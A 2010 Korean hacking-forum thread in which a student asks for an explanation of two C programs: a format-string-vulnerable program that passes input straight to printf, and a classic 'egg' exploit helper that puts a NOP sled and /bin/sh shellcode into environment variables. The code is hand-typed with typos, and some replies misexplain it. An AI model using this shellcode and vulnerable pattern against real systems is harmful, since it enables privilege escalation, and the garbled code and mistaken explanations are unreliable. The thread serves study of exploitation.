시스템 해킹

 1576, 1/79 회원가입  로그인  
   bluesun2
   소스 해석좀 부탁드립니다 (언어를 배운적이없어서 시험인데..)

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1451 [복사]


버그파일과 에그파일 소스해석좀 부탁드립니다

bugfile.c
#include <stdio.h>

main() {

int i =0;
char buf[ 64];
memset (buf, 0, 64);
read(0, buf, 64);
printf(buf);
}

egg.c (장문입니다 손으로 쳐서 오타가있을수도)

#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\xc3\x90/bin/sh";

unnsigned long get_esp (void) {

__asm__("movl %esp, %eax")

main (int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}

if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}

addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
}

  Hit : 4090     Date : 2010/12/13 05:49



    
바볼이 위에껀 간단히 버퍼를 0으로 초기화한후, 입력을 받아서 그대로 출력하는 프로그램이네요
포맷 스트링 버그문제인가보네요

밑에껀
쉘코드를 환경변수에 올려놓고 또 그 환경변수의 주소도 환경변수에 올려놓는 프로그램입니다
2010/12/17  
sweetick 지금 신기한건 배운적이 없는걸 시험으로 내는 학교가 있다는 사실. 2011/01/16  
rkdgh0112 일반적인 쉘코드긴한데..
이걸진짜 가르쳐주지도않고 시험에내나요
2011/02/11  
rkdgh0112 쉘코드 공부는 안해봤는데
그냥 제 나름대로의 해석을 보여드릴꼐요
쉬운건 건너뛰고 약간 헷갈리다 싶은거나 중요한거

unnsigned long get_esp (void) { // get_esp 라는 유저함수의 전역선언입니다.

__asm__("movl %esp, %eax") //.. %esp에 %eax값을 주는걸로보이네요

main (int argc, char *argv[]) { //메인함수의 원형 선언
char *buff, *ptr, *egg; // buff, ptr,egg 변수들의 char형 포인터 설정
char 형으로 설정하는이유 = 포인터는 메모리주소기때문에 16진수의 숫자열과 문자열로 표현된다.
long *addr_ptr, addr; // long 형의 addr 변수선언과 그의 포인터 선언
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // offset이라는 변수를 default로 설정, bsize라는 변수를 default로 설정
int i, eggsize=DEFAULT_EGG_SIZE; // i라는 변수선언과 eggsize선언 동시에 eggsize를 default_egg_size로 함

밑에줄 하기전에,
if 문, else if, else모두 실행문이 한개일경우에 중괄호를 제외할수있음
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}
즉 이건 입력한 인자의 개수가 각각 1개, 2개, 3개일때 의 상황들을 중첩해 사용한것입니다.
결국 입력한 인자의 개수가 1이상이면 2개이상인지보고 3개이상인지봐서
마지막에 malloc(bsize)
즉 bsize에 할당된 메모리스택과 buff의 값이 같지않을경우,
can't allocate momory 라는 에러문이 발생하도록 해놓은것이죠.
그리고 함수의끝에선 0을반환합니다.

if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}
또한 egg가 eggsize에 할당된 스택메모리와 같지않으면
위의 에러문이 또 나오구요.

addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;


for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
}
2011/02/11  
rkdgh0112 addr = get_esp() - offset
부분부터는 내일작성할꼐요..
엄마가 자라고 성화에요 ㅋㅋ..

틀린거있으면 무조건 지적해주시구요


결국 프로그램의 종착점은 쉘 실행입니다.
2011/02/11